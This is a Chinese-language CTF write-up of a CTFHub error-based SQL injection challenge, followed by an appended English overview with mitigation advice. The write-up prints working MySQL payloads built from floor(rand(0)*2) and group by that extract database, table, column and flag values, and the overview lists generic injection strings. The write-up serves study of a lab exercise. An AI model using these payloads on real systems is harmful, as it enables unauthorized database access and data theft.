CTFHUB(WEB) 报错注入

本文介绍了一种利用count(*)、concat()、floor()等函数组合进行报错注入的方法,通过构造特定payload,从数据库中提取所需信息。文章详细解释了报错原理及如何通过调整查询语句逐步获取数据。

在经历了整数型注入和数字注入后自信满满的打开了报错注入,结果不回显正确内容,只回显正确或错误的情况让我无从下手,没办法,身为小白只能继续去找资料学习一下如何做这种题目了

学了一会儿,发现有很多办法,但我学的是最简单的一种办法,其他办法以后在实践中慢慢的学习

这个方法利用的是count(),rand(),floor(),group by()这几个函数的组合来利用报错信息出来我们需要查询的内容

count():返回匹配指定条件的行数。count(*)返回表中的记录数(不添加的话会出现列不对应的情况,可以试试

rand():随机取0-1中间的数字,但是给他一个参数0后,再配合floor函数可以发现出来的数是固定的,这就是这个方法报错的核心

floor():向下取整,去掉小数部分

group by:建立一个表来查询所需要的东西

count():返回匹配指定条件的行数。count(*)函数返回表中的记录数

这个方法的payload格式为:1 union select count(*),concat((select语句),floor(rand(0)*2)) as x from information_schema.columns group by x;

其中count函数作用是连接里面的字符串

floor(rand(0)*2)=0110110(就是因为这个加了0参数发现是固定的)

报错原理:rand函数在查询的时候会执行一下,插入的时候又会执行一次;group by x 先建立一个虚拟表格,用于分组

第一次查询rand语句是0,然后发现里面没有,就准备插入,就当要插入的时候rand()又会执行一次变成1,便插入了1;第二次查询rand语句是1,发现表里有1就会直接次数加1;第三次查询rand语句是0,表里没有0这个数据,便会进行插入,就当插入的时候执行rand()变成了1;因此错误就来了,1在虚拟表格里已经存在,你又要插入一个1,因为重复存在,就会报错哪个key有问题,这样我们报错注入就可以利用这个来获取我们需要的内容

1 union select count(*),concat((select database()),floor(rand(0)*2)) as x from information_schema.columns group by x

 可以看到我们查询数据库databse(),报错显示重复录入sqli1到group_key里,根据报错内容来获得我们所需要的信息,接下来我们只需要改变select语句即可,不需要对其他语句有任何变化,按到整数或数字注入那样查询即可

到这里发现一个错误,超过了一行,突然想起忘记使用group_concat函数来把多个数据联合成一行输出了

 

结果查询正确,为啥???后面我在想既然我们是利用floor(rand(0)*2)这个随机数固定的值一个一个查询插入的,如果我用group_concat直接一行输出的化,那就不会存在后面的插入时重复报错了,所以我们这里要用limit来一个个看 

1 union select count(*),concat((select table_name from information_schema.tables where table_schema='sqli' limit 1,1),floor(rand(0)*2)) as x from information_schema.columns group by x

 经过limit 0,1后查询1,1可以发现有一个叫做flag(这里不是flag1,后面那个1是随机数出来的,切记!!)的表,便顺藤摸瓜下去,看看里面的字段

 1 union select count(*),concat((select column_name from information_schema.columns where table_name='flag' ),floor(rand(0)*2)) as x from information_schema.columns group by x

发现还是叫做flag,我们便可以查询字段数据信息了

1 union select count(*),concat((select flag from sqli.flag),floor(rand(0)*2)) as x from information_schema.columns group by x

唉,做完后发现自己不懂得好多啊,不熟悉也不明白透彻,加油吧少年 

### CTF SQL Error Based Injection Challenges and Solutions In the realm of Capture The Flag (CTF) competitions, SQL error-based injection stands as a critical skill for participants to master. This technique leverages database errors returned by an application when malformed or unexpected input is provided during query execution[^1]. #### Understanding SQL Error-Based Injection Error-based SQL injection occurs due to improper handling of user-supplied data within SQL queries. When attackers provide inputs that cause syntax errors in these statements, detailed error messages can reveal information about the structure of the underlying tables and columns used by applications. For instance, consider an insecure login form where usernames are directly inserted into SQL commands without proper sanitization: ```sql SELECT * FROM users WHERE username='admin' AND password='password'; ``` By injecting specific payloads like `' OR '1'='1`—which results in invalid SQL code—the server might respond with informative but unintended details regarding its internal workings[^2]. #### Practical Example: Exploiting Vulnerabilities Through Errors Suppose there exists a web page vulnerable to this type of attack at `http://example.com/login`. An attacker could attempt various forms of malicious entries until they receive useful feedback from MySQL's error reporting system. For example: - Entering `%27 UNION SELECT NULL,NULL-- %00` may lead to responses indicating how many fields exist per row. - Using constructs such as `%27 ORDER BY 3--+`, one can deduce column counts through trial-and-error while observing changes in output patterns caused by sorting operations gone wrong. These insights allow hackers not only to confirm whether their target indeed suffers from poor coding practices but also potentially extract sensitive records stored inside databases linked against affected sites. #### Mitigation Strategies Against Such Attacks Developers should always validate all external inputs rigorously before incorporating them into dynamic queries. Prepared statements offer significant protection since parameters passed via placeholders cannot alter statement logic regardless of content supplied by end-users. Additionally, employing least privilege principles ensures even compromised accounts have minimal access rights over valuable assets residing on backend servers[^3]. ```python import mysql.connector connection = mysql.connector.connect( host="localhost", user="db_user", passwd="secure_password", database="test_db" ) cursor = connection.cursor(prepared=True) query = "INSERT INTO table_name VALUES (%s)" data_tuple = ('safe_value',) cursor.execute(query, data_tuple) connection.commit() ``` --related questions-- 1. What measures can developers take beyond prepared statements? 2. How do different relational management systems handle SQL injections differently? 3. Are certain programming languages more prone than others towards producing vulnerabilities related to SQL injection attacks? 4. In what ways has modern software development mitigated risks associated with traditional types of security flaws including those seen here today concerning SQLi techniques specifically targeting error disclosure mechanisms found across numerous platforms worldwide throughout history up till now?
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值